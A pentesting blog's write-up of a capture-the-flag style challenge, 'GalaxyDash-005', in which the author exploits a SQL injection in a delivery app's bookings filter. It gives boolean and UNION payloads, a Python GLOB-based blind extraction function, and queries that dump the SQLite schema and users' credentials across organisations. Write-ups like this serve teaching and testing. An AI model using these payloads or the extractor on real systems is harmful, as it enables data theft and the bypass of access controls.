b1gb33f_blog

Pentesting and AppSec

View on GitHub
1 March 2026

GalaxyDash-005

by Shawn Szczepkowski

Galaxy Dash is a Futurama-themed delivery app running on Node.js/Express.

After logging in and poking around, I noticed the bookings endpoint accepted a status filter parameter:

GET /api/bookings?status=out_for_delivery

A single quote caused a 500. Two single quotes returned 200. Classic.


Where sqlmap Fell Over

I threw sqlmap at it and it confirmed a boolean-based blind injection — but then immediately failed to fingerprint the database:

[CRITICAL] sqlmap was not able to fingerprint the back-end database management system
[WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 527 times

Out of 582 requests, 527 returned 500 errors. sqlmap’s fingerprinting and UNION confirmation queries rely on functions like IFNULL(), CONCAT(), and nested subqueries — all of which this app’s query layer rejected. Adding --dbms=sqlite, --no-cast, --flush-session narrowed it down but couldn’t fix the root problem: sqlmap’s payload templates didn’t match what this target would accept.

Time to go manual.


Fingerprinting the DB Without sqlmap

I started by figuring out which SQL operators actually worked. The injection escape was ') based on the payload sqlmap found, and boolean behavior was clear:

?status=delivered') AND 1=1-- -   →  200, len=683  (data)
?status=delivered') AND 1=2-- -   →  200, len=2    (empty)

Mapping the Constraint Surface

I spent time figuring out exactly what the injection context would tolerate:

Expression Result
1=1, 'a'='a'
Math (1+1=2)
Bitwise (1&1=1)
BETWEEN, LIKE, GLOB
CASE WHEN
Any function call ❌ 500
Subqueries (SELECT ...) ❌ 500
table.column dot notation ❌ 500
IN (list), IS NULL ❌ 500

No functions. No subqueries. No table prefixes. That rules out every standard blind extraction technique.


GLOB-Based Extraction (Phase 1)

GLOB in SQLite is case-sensitive and supports * wildcards, making it perfect for blind extraction without any function calls:

delivered') AND password GLOB 'a*'-- -   →  true/false
delivered') AND password GLOB 'ab*'-- -  →  true/false

I built a Python extractor around this:

def extract_glob(col, max_len=200):
    result = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@._!$#%^&*-+={}"
    for i in range(1, max_len + 1):
        found = False
        for c in charset:
            escaped = f'[{c}]' if c in ('*', '?', '[', ']') else c
            if is_true(f"{col} GLOB '{result + escaped}*'"):
                result += c
                found = True
                break
        if not found:
            break
    return result

First I needed to know which columns were in scope. Probing with column LIKE '%' revealed the query was a JOIN — booking fields and user fields were accessible without any table prefix:

status, cargo_description, delivery_date     ← bookings table
username, email, password, role              ← users table (joined)

Running the extractor got me the current user’s data quickly. But there was a catch — the app enforced org isolation at the application layer. The JWT’s organizationId was used to filter results after the query ran. Even OR 1=1 only returned my own org’s data.

I needed a different approach to reach other orgs.


The UNION Pivot (Phase 2)

I tested whether UNION worked at all:

')+AND+1%3d2+UNION+SELECT+'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'--+-

It worked — and better, the response was JSON with all the original column names, so I could see exactly what position mapped to what field. The query had 26 columns.

But when I tried putting a subquery into a UNION column:

UNION SELECT (SELECT tbl_name FROM sqlite_master LIMIT 1),'a',...-- -

500, The app was blocking parentheses in the SELECT list too.

The breakthrough came when I realized column references need a FROM clause — not a subquery:

')+AND+1%3d2+UNION+SELECT+tbl_name,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+sqlite_master--+-

200. Tables returned. No parentheses, no subquery, just SELECT col FROM table appended to the UNION. The app’s parser apparently only choked on nested SELECT statements, not top-level FROM clauses.


Dumping Everything

With UNION SELECT FROM working, the rest was straightforward:

-- Schema
')+AND+1=2+UNION+SELECT+sql,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+sqlite_master+WHERE+type='table'--+-

')+AND+1=2+UNION+SELECT+id,username,email,password,role,organization_id,'a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a'+FROM+users--+-

Tables found: bookings, delivery_notes, delivery_services, invoices, locations, organizations, users.

The users dump returned credentials for every org — including the flag stored in the password field of users from orgs 1–3:

slurms@slurm.galaxy    : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
walt@momcorp.galaxy    : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}
bchow_admin@...        : bug{xd49PjPmcVK9O9YhAatT21hOR6jVBdA4}

tags: